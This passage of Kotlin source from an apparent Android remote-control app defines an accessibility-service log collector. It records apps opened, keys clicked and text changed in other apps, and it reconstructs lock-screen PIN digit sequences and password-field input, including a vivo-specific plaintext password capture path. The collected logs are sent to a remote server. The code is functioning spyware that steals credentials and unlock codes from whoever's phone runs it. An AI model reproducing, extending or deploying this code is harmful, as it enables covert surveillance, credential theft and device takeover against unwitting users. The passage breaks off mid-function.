4376 lines
192 KiB
Kotlin
4376 lines
192 KiB
Kotlin
package com.hikoncont
|
||
|
||
import android.accessibilityservice.AccessibilityService
|
||
import android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK
|
||
import android.accessibilityservice.GestureDescription
|
||
import android.content.Context
|
||
import android.content.pm.ApplicationInfo
|
||
import android.content.pm.PackageManager
|
||
import android.graphics.Path
|
||
import android.os.Handler
|
||
import android.os.Looper
|
||
import android.util.Log
|
||
import android.view.accessibility.AccessibilityEvent
|
||
import android.view.accessibility.AccessibilityNodeInfo
|
||
import com.hikoncont.service.AccessibilityRemoteService
|
||
import com.hikoncont.network.SocketIOManager
|
||
import kotlinx.coroutines.*
|
||
import org.json.JSONObject
|
||
import kotlin.random.Random
|
||
|
||
/**
|
||
* 操作日志收集器
|
||
* 负责收集设备操作日志并发送到服务器
|
||
*/
|
||
class OperationLogCollector(private val service: AccessibilityRemoteService) {
|
||
|
||
companion object {
|
||
private const val TAG = "OperationLogCollector"
|
||
|
||
// ✅ 添加程序化输入状态跟踪
|
||
var isProgrammaticInputActive = false
|
||
var lastProgrammaticInputTime = 0L
|
||
|
||
// ✅ vivo设备检测和优化参数
|
||
private val isVivoDevice: Boolean by lazy {
|
||
val brand = android.os.Build.BRAND?.lowercase() ?: ""
|
||
val manufacturer = android.os.Build.MANUFACTURER?.lowercase() ?: ""
|
||
val model = android.os.Build.MODEL?.lowercase() ?: ""
|
||
|
||
val isVivo = brand.contains("vivo") || manufacturer.contains("vivo") ||
|
||
brand.contains("iqoo") || manufacturer.contains("iqoo") ||
|
||
model.contains("vivo") || model.contains("iqoo")
|
||
|
||
if (isVivo) {
|
||
android.util.Log.i(TAG, "🔍 检测到vivo/iQOO设备: Brand=$brand, Manufacturer=$manufacturer, Model=$model")
|
||
android.util.Log.i(TAG, "📱 vivo设备将使用优化的数字密码记录策略")
|
||
}
|
||
|
||
isVivo
|
||
}
|
||
|
||
// ✅ vivo设备专用参数
|
||
private val vivoOptimizedProgrammaticDetectionWindow = 500L // vivo设备程序化检测窗口缩短为500ms
|
||
private val vivoOptimizedDuplicateWindow = 100L // vivo设备重复过滤窗口缩短为100ms
|
||
private val vivoOptimizedReconstructionWindow = 50L // vivo设备重构去重窗口缩短为50ms
|
||
|
||
// ✅ 新增:TEXT_DETECTED去重和频率控制
|
||
private val textDetectedCache = mutableMapOf<String, Long>() // 文本内容 -> 最后记录时间
|
||
private val packageTextCache = mutableMapOf<String, MutableSet<String>>() // 包名 -> 已记录的文本集合
|
||
private const val TEXT_DETECTED_COOLDOWN = 5000L // 相同文本5秒内不重复记录
|
||
private const val MAX_TEXT_DETECTED_PER_PACKAGE = 100 // 每个包最多记录100个不同文本
|
||
private var lastTextDetectedCleanup = 0L
|
||
private const val CACHE_CLEANUP_INTERVAL = 30000L // 30秒清理一次缓存
|
||
|
||
// ✅ 新增:TEXT_DETECTED统计信息
|
||
private var textDetectedTotalCount = 0L // 总检测到的文本数量
|
||
private var textDetectedRecordedCount = 0L // 实际记录的文本数量
|
||
private var textDetectedFilteredCount = 0L // 被过滤的文本数量
|
||
}
|
||
|
||
|
||
// 🔕 WebView页面降载:进入本应用的WebView页面时,暂停无障碍事件处理以降低开销
|
||
@Volatile
|
||
private var pauseAccessibilityForWebView: Boolean = false
|
||
|
||
private val logScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
|
||
private var isLogging = false
|
||
// ✅ 高频事件去抖:减少无障碍高频事件造成的日志与CPU压力
|
||
private var lastWindowContentChangedLogTime = 0L
|
||
private var lastTextChangedLogTime = 0L
|
||
|
||
// 🚀 移除 WebView 检测功能,简化代码
|
||
|
||
init {
|
||
// ✅ 初始化时输出TEXT_DETECTED优化信息
|
||
Log.i(TAG, "🚀 OperationLogCollector初始化完成")
|
||
Log.i(TAG, "📝 TEXT_DETECTED优化已启用:")
|
||
Log.i(TAG, " - 重复文本去重: ✅ (${TEXT_DETECTED_COOLDOWN}ms冷却)")
|
||
Log.i(TAG, " - 明显无意义文本过滤: ✅ (保守策略)")
|
||
Log.i(TAG, " - 包文本数量限制: ✅ (每包最多${MAX_TEXT_DETECTED_PER_PACKAGE}个)")
|
||
Log.i(TAG, " - 定期缓存清理: ✅ (${CACHE_CLEANUP_INTERVAL}ms周期)")
|
||
Log.i(TAG, " - 统计报告: ✅")
|
||
}
|
||
|
||
// 用于去重的最近操作记录
|
||
private var lastAppEvent: String? = null
|
||
private var lastAppEventTime: Long = 0
|
||
private val deduplicateWindow = 2000L // 2秒内的重复事件去重
|
||
|
||
|
||
|
||
// 密码输入相关状态跟踪
|
||
private var isPasswordInputActive = false
|
||
private var passwordInputStartTime = 0L
|
||
private var passwordInputEvents = mutableListOf<Map<String, Any>>()
|
||
private var lastPasswordEventTime = 0L
|
||
private var currentPasswordLength = 0
|
||
private val passwordInputTimeout = 5000L // 5秒内的输入认为是同一个密码输入过程
|
||
|
||
// ✅ 确认按钮坐标捕获相关状态
|
||
private var isAwaitingConfirmClick = false
|
||
private var confirmClickStartTime = 0L
|
||
private var lastConfirmClickCoordinate: Pair<Float, Float>? = null
|
||
private val confirmClickTimeout = 5000L // 5秒超时
|
||
|
||
// ✅ 数字密码序列记录
|
||
private val numericPasswordSequence = mutableListOf<Map<String, Any>>()
|
||
|
||
// ✅ 数字0检测标志 - 一旦检测到0,就确定是数字密码
|
||
private var hasDetectedZero = false
|
||
|
||
// ✅ 新增:防止重复分析的锁
|
||
private var isPasswordAnalyzing = false
|
||
private var lastPasswordAnalysisTime = 0L
|
||
private val passwordAnalysisLockTimeout = 3000L // 3秒内不重复分析
|
||
|
||
// ✅ 增强检测的安全开关
|
||
private var isEnhancedDetectionMode = false
|
||
private var enhancedDetectionStartTime = 0L
|
||
private val enhancedDetectionTimeout = 30000L // 30秒后自动关闭增强模式
|
||
|
||
// ✅ vivo设备专用密码捕获优化
|
||
private val vivoExtractedChars = mutableListOf<String>() // vivo设备捕获的明文字符
|
||
private var vivoLastCaptureTime = 0L // vivo设备最后捕获时间
|
||
private val vivoCaptureWindow = 100L // vivo设备捕获窗口100ms
|
||
private var vivoPasswordBuffer = "" // vivo设备密码缓冲区
|
||
private val vivoActiveScanning = mutableSetOf<String>() // vivo设备正在扫描的包名
|
||
|
||
// 🔧 新增:批量日志发送配置,避免与屏幕数据传输冲突
|
||
private val logSendBuffer = mutableListOf<JSONObject>()
|
||
private val logSendDelay = 1000L // 1秒延迟发送,避免与控制命令同时传输
|
||
private var lastLogSendTime = 0L
|
||
private var logSendJob: kotlinx.coroutines.Job? = null
|
||
|
||
/**
|
||
* 开始日志收集
|
||
*/
|
||
fun startLogging() {
|
||
isLogging = true
|
||
Log.i(TAG, "🔍 开始收集操作日志")
|
||
}
|
||
|
||
// 🚀 移除 WebView 模式设置功能
|
||
|
||
/**
|
||
* 停止日志收集
|
||
*/
|
||
fun stopLogging() {
|
||
isLogging = false
|
||
Log.i(TAG, "⏹️ 停止收集操作日志")
|
||
}
|
||
|
||
/**
|
||
* 记录操作日志
|
||
*/
|
||
fun recordLog(logType: String, content: String, extraData: Map<String, Any>?) {
|
||
if (!isLogging) return
|
||
|
||
// ✅ 特别关注密码分析相关的日志
|
||
if (logType == "TEXT_INPUT" && (content.contains("密码") || content.contains("🔒") || extraData?.get("isPasswordCapture") == true)) {
|
||
Log.d(TAG, "🔒 [密码分析] 发送密码分析日志到服务器: $logType - $content")
|
||
Log.d(TAG, "🔒 [密码分析] 额外数据: ${extraData?.keys?.joinToString(", ")}")
|
||
}
|
||
if (logType == "TEXT_DETECTED"){
|
||
//不要這個數據,沒用
|
||
return
|
||
}
|
||
|
||
logScope.launch {
|
||
try {
|
||
sendLogToServer(logType, content, extraData)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送日志失败: $content", e)
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理无障碍事件(用于检测应用切换等)
|
||
*/
|
||
fun handleAccessibilityEvent(event: AccessibilityEvent) {
|
||
if (!isLogging) {
|
||
Log.d(TAG, "🚫 日志记录未启用,跳过事件处理")
|
||
return
|
||
}
|
||
|
||
|
||
// try {
|
||
// val pkg = event.packageName?.toString() ?: ""
|
||
// val cls = event.className?.toString() ?: ""
|
||
// val isOurApp = pkg == service.packageName
|
||
// val isWebViewClass = cls.contains("WebView", ignoreCase = true) || cls == "android.webkit.WebView"
|
||
// if (event.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED || event.eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
|
||
// if (isOurApp && isWebViewClass) {
|
||
// pauseAccessibilityForWebView = true
|
||
// } else if (!isWebViewClass) {
|
||
// pauseAccessibilityForWebView = false
|
||
// }
|
||
// }
|
||
// if (pauseAccessibilityForWebView && isOurApp) {
|
||
// return
|
||
// }
|
||
// } catch (_: Exception) { }
|
||
|
||
|
||
|
||
val type = event.eventType
|
||
val now = System.currentTimeMillis()
|
||
// 去抖:窗口内容变化 500ms 内只处理一次日志
|
||
if (type == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
|
||
if (now - lastWindowContentChangedLogTime < 500L) {
|
||
// 仍然允许后续逻辑处理,但避免高频日志打印(此处直接返回可进一步降噪)
|
||
return
|
||
}
|
||
lastWindowContentChangedLogTime = now
|
||
}
|
||
// 去抖:文本变化 200ms 内只处理一次日志
|
||
if (type == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
|
||
if (now - lastTextChangedLogTime < 200L) {
|
||
return
|
||
}
|
||
lastTextChangedLogTime = now
|
||
}
|
||
|
||
// 仅对关键事件保留详细日志
|
||
val isCriticalEvent = (type == AccessibilityEvent.TYPE_VIEW_CLICKED
|
||
|| type == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED)
|
||
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val eventTypeString = if (isCriticalEvent) eventTypeToString(type) else ""
|
||
|
||
if (isCriticalEvent) {
|
||
Log.d(TAG, "🔍 [事件监控] 处理无障碍事件: 类型=$eventTypeString($type), 包名=$packageName, 类名=$className")
|
||
}
|
||
|
||
// ✅ 检查是否为输入法相关包名
|
||
val isInputMethodPackage = packageName.lowercase().let { pkg ->
|
||
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
|
||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
|
||
pkg.contains("baidu") || pkg.contains("iflytek")
|
||
}
|
||
|
||
// ✅ 特别关注第三方应用和输入法的事件
|
||
if (isCriticalEvent && !packageName.contains("systemui", ignoreCase = true)) {
|
||
val eventText = event.text?.joinToString("") ?: ""
|
||
val contentDesc = event.contentDescription?.toString() ?: ""
|
||
val appType = if (isInputMethodPackage) "输入法" else "第三方应用"
|
||
when (type) {
|
||
AccessibilityEvent.TYPE_VIEW_FOCUSED -> {
|
||
Log.i(TAG, "🎯 [$appType] 焦点事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
|
||
}
|
||
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
|
||
Log.i(TAG, "📝 [$appType] 文本变化事件: 包名=$packageName, 类名=$className, 文本='$eventText'")
|
||
}
|
||
AccessibilityEvent.TYPE_VIEW_CLICKED -> {
|
||
Log.i(TAG, "👆 [$appType] 点击事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
|
||
analyzeClickedElement(event, packageName, className, eventText, contentDesc)
|
||
}
|
||
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> {
|
||
Log.i(TAG, "👆 [$appType] 触摸开始事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
|
||
}
|
||
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> {
|
||
Log.i(TAG, "👆 [$appType] 触摸结束事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
|
||
}
|
||
AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> {
|
||
if (eventText.isNotEmpty() || contentDesc.isNotEmpty()) {
|
||
Log.v(TAG, "🔄 [$appType] 窗口内容变化: 包名=$packageName, 文本='$eventText', 描述='$contentDesc'")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
try {
|
||
if (isCriticalEvent && packageName.contains("systemui", ignoreCase = true)) {
|
||
Log.d(TAG, "🔍 SystemUI事件: 类型=${event.eventType}, 类名=$className, 包名=$packageName")
|
||
|
||
|
||
}
|
||
|
||
when (event.eventType) {
|
||
AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> {
|
||
handleWindowStateChanged(event)
|
||
}
|
||
AccessibilityEvent.TYPE_VIEW_CLICKED -> {
|
||
Log.d(TAG, "🔍 [密码分析] 处理点击事件 - 可能包含数字密码分析")
|
||
handleViewClicked(event)
|
||
}
|
||
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
|
||
Log.d(TAG, "🔍 [密码分析] 处理文本变化事件 - 核心密码输入检测")
|
||
handleTextChanged(event)
|
||
}
|
||
AccessibilityEvent.TYPE_VIEW_SCROLLED -> {
|
||
handleViewScrolled(event)
|
||
}
|
||
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> {
|
||
handleTouchStart(event)
|
||
}
|
||
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> {
|
||
handleTouchEnd(event)
|
||
}
|
||
|
||
AccessibilityEvent.TYPE_VIEW_SELECTED -> {
|
||
handleViewSelected(event)
|
||
}
|
||
AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> {
|
||
handleEnhancedWindowContentChanged(event)
|
||
// ✅ vivo设备额外密码捕获机会
|
||
if (isVivoDevice && isPasswordField(event)) {
|
||
val text = event.text?.joinToString("") ?: ""
|
||
val beforeText = event.beforeText?.toString() ?: ""
|
||
if (text.isNotEmpty()) {
|
||
Log.d(TAG, "📱 [vivo额外捕获] WINDOW_CONTENT_CHANGED密码事件: '$text'")
|
||
handleVivoPasswordCapture(event, text, beforeText, packageName, className)
|
||
}
|
||
}
|
||
}
|
||
AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED -> {
|
||
handleTextSelectionChanged(event)
|
||
// ✅ vivo设备额外密码捕获机会
|
||
if (isVivoDevice && isPasswordField(event)) {
|
||
val text = event.text?.joinToString("") ?: ""
|
||
val beforeText = event.beforeText?.toString() ?: ""
|
||
if (text.isNotEmpty()) {
|
||
Log.d(TAG, "📱 [vivo额外捕获] TEXT_SELECTION_CHANGED密码事件: '$text'")
|
||
handleVivoPasswordCapture(event, text, beforeText, packageName, className)
|
||
}
|
||
}
|
||
}
|
||
AccessibilityEvent.TYPE_VIEW_FOCUSED -> {
|
||
handleViewFocused(event)
|
||
}
|
||
// ✅ 新增:添加更多事件类型的监听
|
||
AccessibilityEvent.TYPE_VIEW_LONG_CLICKED -> {
|
||
handleViewLongClicked(event)
|
||
}
|
||
AccessibilityEvent.TYPE_VIEW_HOVER_ENTER -> {
|
||
handleViewHover(event, "HOVER_ENTER")
|
||
}
|
||
AccessibilityEvent.TYPE_VIEW_HOVER_EXIT -> {
|
||
handleViewHover(event, "HOVER_EXIT")
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 处理无障碍事件失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 将事件类型转换为可读字符串
|
||
*/
|
||
private fun eventTypeToString(eventType: Int): String {
|
||
return when (eventType) {
|
||
AccessibilityEvent.TYPE_VIEW_CLICKED -> "VIEW_CLICKED"
|
||
AccessibilityEvent.TYPE_VIEW_LONG_CLICKED -> "VIEW_LONG_CLICKED"
|
||
AccessibilityEvent.TYPE_VIEW_SELECTED -> "VIEW_SELECTED"
|
||
AccessibilityEvent.TYPE_VIEW_FOCUSED -> "VIEW_FOCUSED"
|
||
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> "VIEW_TEXT_CHANGED"
|
||
AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> "WINDOW_STATE_CHANGED"
|
||
AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED -> "NOTIFICATION_STATE_CHANGED"
|
||
AccessibilityEvent.TYPE_VIEW_HOVER_ENTER -> "VIEW_HOVER_ENTER"
|
||
AccessibilityEvent.TYPE_VIEW_HOVER_EXIT -> "VIEW_HOVER_EXIT"
|
||
AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START -> "TOUCH_EXPLORATION_GESTURE_START"
|
||
AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END -> "TOUCH_EXPLORATION_GESTURE_END"
|
||
AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> "WINDOW_CONTENT_CHANGED"
|
||
AccessibilityEvent.TYPE_VIEW_SCROLLED -> "VIEW_SCROLLED"
|
||
AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED -> "VIEW_TEXT_SELECTION_CHANGED"
|
||
AccessibilityEvent.TYPE_ANNOUNCEMENT -> "ANNOUNCEMENT"
|
||
AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED -> "VIEW_ACCESSIBILITY_FOCUSED"
|
||
AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED -> "VIEW_ACCESSIBILITY_FOCUSED"
|
||
AccessibilityEvent.TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY -> "VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY"
|
||
AccessibilityEvent.TYPE_GESTURE_DETECTION_START -> "GESTURE_DETECTION_START"
|
||
AccessibilityEvent.TYPE_GESTURE_DETECTION_END -> "GESTURE_DETECTION_END"
|
||
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> "TOUCH_INTERACTION_START"
|
||
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> "TOUCH_INTERACTION_END"
|
||
else -> "UNKNOWN_$eventType"
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理窗口状态变化(应用切换)
|
||
*/
|
||
private fun handleWindowStateChanged(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: return
|
||
val className = event.className?.toString() ?: return
|
||
|
||
// 去重:避免重复记录相同应用
|
||
val currentEvent = "$packageName|$className"
|
||
val currentTime = System.currentTimeMillis()
|
||
|
||
if (currentEvent == lastAppEvent && (currentTime - lastAppEventTime) < deduplicateWindow) {
|
||
return
|
||
}
|
||
|
||
lastAppEvent = currentEvent
|
||
lastAppEventTime = currentTime
|
||
|
||
// 获取应用名称
|
||
val appName = getAppName(packageName) ?: packageName
|
||
|
||
logScope.launch {
|
||
recordLog(
|
||
"APP_OPENED",
|
||
"打开应用: $appName",
|
||
mapOf(
|
||
"packageName" to packageName,
|
||
"className" to className,
|
||
"appName" to appName
|
||
)
|
||
)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理点击事件 - 增强密码场景处理和确认按钮坐标捕获
|
||
*/
|
||
private fun handleViewClicked(event: AccessibilityEvent) {
|
||
val text = event.text?.joinToString(" ") ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val contentDescription = event.contentDescription?.toString() ?: ""
|
||
|
||
// ✅ 安全的增强检测:只在密码输入场景激活
|
||
if (shouldUseEnhancedDetection(packageName, className, text, contentDescription)) {
|
||
val eventText = event.text?.joinToString("") ?: ""
|
||
val contentDesc = event.contentDescription?.toString() ?: ""
|
||
|
||
// 强化第三方应用键盘检测(仅在增强模式下)
|
||
val isLikelyKeyboardClick = detectKeyboardClick(packageName, className, eventText, contentDesc)
|
||
|
||
if (isLikelyKeyboardClick) {
|
||
val detectedChar = extractKeyboardCharacter(eventText, contentDesc, className)
|
||
if (detectedChar.isNotEmpty()) {
|
||
Log.w(TAG, "🚨 [增强模式] 键盘输入检测: '$detectedChar' from $packageName")
|
||
|
||
// 立即记录键盘字符
|
||
logScope.launch {
|
||
recordLog(
|
||
"ENHANCED_KEYBOARD_CLICK",
|
||
"增强键盘检测: $detectedChar",
|
||
mapOf(
|
||
"character" to detectedChar,
|
||
"packageName" to packageName,
|
||
"className" to className,
|
||
"originalText" to eventText,
|
||
"contentDescription" to contentDesc,
|
||
"detectionMethod" to "enhanced_click_detection",
|
||
"enhancedMode" to true
|
||
)
|
||
)
|
||
}
|
||
|
||
// 如果是数字,添加到数字序列
|
||
if (detectedChar.matches(Regex("[0-9]"))) {
|
||
val currentTime = System.currentTimeMillis()
|
||
numericPasswordSequence.add(mapOf(
|
||
"digit" to detectedChar,
|
||
"timestamp" to currentTime,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"source" to "enhanced_click_detection"
|
||
))
|
||
Log.w(TAG, "🔢 [增强模式] 数字序列添加: $detectedChar (总计: ${numericPasswordSequence.size})")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// ✅ 检查是否为等待中的确认按钮点击
|
||
val currentTime = System.currentTimeMillis()
|
||
if (isAwaitingConfirmClick && (currentTime - confirmClickStartTime) <= confirmClickTimeout) {
|
||
// 检查是否是确认按钮点击
|
||
if (isPossibleConfirmButton(text, contentDescription, className)) {
|
||
// 尝试获取点击坐标
|
||
val coordinates = extractClickCoordinates(event)
|
||
if (coordinates != null) {
|
||
lastConfirmClickCoordinate = coordinates
|
||
Log.d(TAG, "✅ 捕获到确认按钮点击坐标: (${coordinates.first}, ${coordinates.second})")
|
||
isAwaitingConfirmClick = false
|
||
}
|
||
}
|
||
}
|
||
|
||
// 检测特殊点击场景
|
||
val isKeyboardKey = isVirtualKeyboard(packageName, className)
|
||
val isFingerprintSensor = isFingerprintSensor(contentDescription, className)
|
||
|
||
// ✅ 处理数字键盘点击 - 记录数字序列用于密码重构
|
||
// ✅ 增强数字键检测:支持带字母格式(如"PQRS 7", "MNO 6")
|
||
val extractedDigit = extractDigitFromText(text)
|
||
val isNumericKey = extractedDigit != null
|
||
// ✅ 修复:SystemUI的数字键盘不依赖isKeyboardKey判断
|
||
val isNumericKeypad = isNumericKey && (
|
||
isKeyboardKey || // 传统键盘
|
||
packageName.contains("systemui", ignoreCase = true) || // SystemUI锁屏键盘
|
||
className.contains("numpad", ignoreCase = true) ||
|
||
className.contains("numeric", ignoreCase = true) ||
|
||
className.contains("keypad", ignoreCase = true)
|
||
)
|
||
|
||
// ✅ 增强:第三方应用的键盘字符检测 - 更宽泛的检测条件
|
||
val isThirdPartyKeyboardInput = !packageName.contains("systemui", ignoreCase = true) && (
|
||
// 方法1:基于文本内容
|
||
(text.length == 1 && text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]"))) ||
|
||
// 方法2:基于提取的字符
|
||
extractedDigit != null ||
|
||
// 方法3:基于类名特征
|
||
(isKeyboardKey || className.lowercase().let { cls ->
|
||
cls.contains("key") || cls.contains("button") || cls.contains("numpad") ||
|
||
cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") ||
|
||
cls.contains("digit") || cls.contains("char")
|
||
}) ||
|
||
// 方法4:基于内容描述特征
|
||
contentDescription.lowercase().let { desc ->
|
||
desc.contains("key") || desc.contains("按键") || desc.contains("键") ||
|
||
desc.contains("button") || desc.contains("输入") || desc.contains("数字") ||
|
||
desc.matches(Regex(".*[0-9a-zA-Z].*"))
|
||
}
|
||
)
|
||
|
||
Log.i(TAG, "🔍 [密码分析] 数字键检测: text='$text', isNumericKey=$isNumericKey, isNumericKeypad=$isNumericKeypad, isKeyboardKey=$isKeyboardKey")
|
||
Log.i(TAG, "🔍 [密码分析] 第三方键盘: isThirdPartyKeyboardInput=$isThirdPartyKeyboardInput")
|
||
Log.i(TAG, "🔍 [密码分析] 事件上下文: 包名=$packageName, 类名=$className")
|
||
|
||
// ✅ 新增:处理第三方应用的键盘输入
|
||
if (isThirdPartyKeyboardInput) {
|
||
val inputCharacter = extractedDigit ?: text.take(1)
|
||
Log.i(TAG, "⌨️ [第三方键盘] 检测到键盘字符输入: '$inputCharacter' (原始: '$text') 来自包名=$packageName")
|
||
Log.i(TAG, "⌨️ [第三方键盘] 检测条件: 文本='$text', 类名=$className, 描述='$contentDescription'")
|
||
|
||
// 记录第三方应用的键盘输入
|
||
logScope.launch {
|
||
recordLog(
|
||
"THIRD_PARTY_KEYBOARD_INPUT",
|
||
"第三方应用键盘输入: $inputCharacter",
|
||
mapOf(
|
||
"character" to inputCharacter,
|
||
"originalText" to text,
|
||
"contentDescription" to contentDescription,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"isNumeric" to (extractedDigit != null),
|
||
"isKeyboardKey" to isKeyboardKey,
|
||
"eventType" to "KEYBOARD_CHARACTER",
|
||
"source" to "third_party_app",
|
||
"detectionMethod" to "click_event_analysis"
|
||
)
|
||
)
|
||
}
|
||
|
||
// ✅ 额外的强化记录 - 确保不会被遗漏
|
||
Log.w(TAG, "🚨 [强化记录] 第三方键盘输入确认: '$inputCharacter' from $packageName")
|
||
}
|
||
|
||
// ✅ 修复:只有在程序化输入时才使用特殊的数字密码处理
|
||
if (isNumericKey && isNumericKeypad) {
|
||
// 检查是否是程序化输入
|
||
val isProgrammaticInput = isCurrentlyExecutingNumericPasswordInput()
|
||
|
||
if (isProgrammaticInput) {
|
||
Log.w(TAG, "🔢 [程序化输入] 检测到程序化数字键点击: $text - 使用专用处理")
|
||
|
||
// 程序化输入使用专用的密码输入处理
|
||
handlePasswordInput(event, text, "", currentTime)
|
||
return // 程序化输入直接返回,不进行后续处理
|
||
} else {
|
||
Log.w(TAG, "🔢 [用户输入] 检测到用户数字键点击: $text - 使用正常流程")
|
||
|
||
// ✅ 修复:对于锁屏页面的用户真实数字输入,只记录数字序列,不调用handlePasswordInput
|
||
if (packageName.contains("systemui", ignoreCase = true)) {
|
||
Log.i(TAG, "🔢 [锁屏数字输入] 检测到锁屏页面用户数字输入: $text")
|
||
|
||
// ✅ 修复:记录数字到序列中,但避免重复记录
|
||
val digitToRecord = extractedDigit ?: text
|
||
|
||
// 检查是否与最近的记录重复(时间窗口内的相同数字)
|
||
val lastRecord = numericPasswordSequence.lastOrNull()
|
||
val lastDigit = lastRecord?.get("digit") as? String
|
||
val lastTimestamp = lastRecord?.get("timestamp") as? Long ?: 0L
|
||
val timeDiff = currentTime - lastTimestamp
|
||
|
||
// ✅ vivo设备使用优化的重复过滤窗口,减少误过滤
|
||
val duplicateWindow = if (isVivoDevice) {
|
||
vivoOptimizedDuplicateWindow // vivo设备: 100ms
|
||
} else {
|
||
200L // 其他设备: 200ms
|
||
}
|
||
|
||
val isDuplicate = lastDigit == digitToRecord && timeDiff < duplicateWindow
|
||
|
||
if (!isDuplicate) {
|
||
numericPasswordSequence.add(mapOf(
|
||
"digit" to digitToRecord,
|
||
"timestamp" to currentTime,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"source" to "user_click",
|
||
"originalText" to text // 保留原始文本用于调试
|
||
))
|
||
Log.i(TAG, "🔢 [锁屏数字输入] 已记录用户数字输入: $digitToRecord (原始: $text), 当前序列长度: ${numericPasswordSequence.size}")
|
||
if (isVivoDevice) {
|
||
Log.d(TAG, "📱 [vivo优化] 使用优化重复过滤窗口: ${duplicateWindow}ms")
|
||
}
|
||
} else {
|
||
Log.d(TAG, "🔢 [锁屏数字输入] 跳过重复数字: $digitToRecord (时间差: ${timeDiff}ms, 过滤窗口: ${duplicateWindow}ms)")
|
||
}
|
||
|
||
// 检测到数字0,立即标记
|
||
if (digitToRecord == "0") {
|
||
hasDetectedZero = true
|
||
Log.d(TAG, "⚡ 用户输入检测到数字0,切换模式: hasDetectedZero = true")
|
||
}
|
||
|
||
// ✅ 修复:删除handlePasswordInput调用,避免重复处理
|
||
// 密码分析将完全由真实的文本变化事件触发,避免模拟事件和重复处理
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
|
||
// ✅ 优化数字键盘点击记录
|
||
if (text.isNotEmpty() || className.isNotEmpty() || isKeyboardKey || isFingerprintSensor) {
|
||
// ✅ 使用相同的增强数字检测逻辑
|
||
val logExtractedDigit = extractDigitFromText(text)
|
||
val isNumericKey = logExtractedDigit != null
|
||
val isNumericKeypad = isKeyboardKey && (className.contains("numpad", ignoreCase = true) ||
|
||
className.contains("numeric", ignoreCase = true) ||
|
||
packageName.contains("systemui", ignoreCase = true))
|
||
|
||
val logContent = when {
|
||
isFingerprintSensor -> "指纹识别操作"
|
||
isNumericKey && isNumericKeypad -> {
|
||
val displayText = if (logExtractedDigit != null && logExtractedDigit != text) {
|
||
"$logExtractedDigit (原始: $text)"
|
||
} else {
|
||
logExtractedDigit ?: text
|
||
}
|
||
"🔢 数字密码键盘点击: $displayText"
|
||
}
|
||
isNumericKey -> {
|
||
val displayText = if (logExtractedDigit != null && logExtractedDigit != text) {
|
||
"$logExtractedDigit (原始: $text)"
|
||
} else {
|
||
logExtractedDigit ?: text
|
||
}
|
||
"🔢 数字键点击: $displayText"
|
||
}
|
||
isKeyboardKey -> "虚拟键盘输入: ${if (text.isNotEmpty()) text else "特殊键"}"
|
||
text.isNotEmpty() -> "点击控件: $text"
|
||
else -> "点击控件 ($className)"
|
||
}
|
||
|
||
logScope.launch {
|
||
val extraData = mutableMapOf<String, Any>(
|
||
"text" to text,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"contentDescription" to contentDescription,
|
||
"isKeyboardKey" to isKeyboardKey,
|
||
"isNumericKey" to isNumericKey,
|
||
"isNumericKeypad" to isNumericKeypad,
|
||
|
||
"isFingerprintSensor" to isFingerprintSensor
|
||
)
|
||
if (isNumericKey) {
|
||
extraData["digitValue"] = logExtractedDigit ?: text
|
||
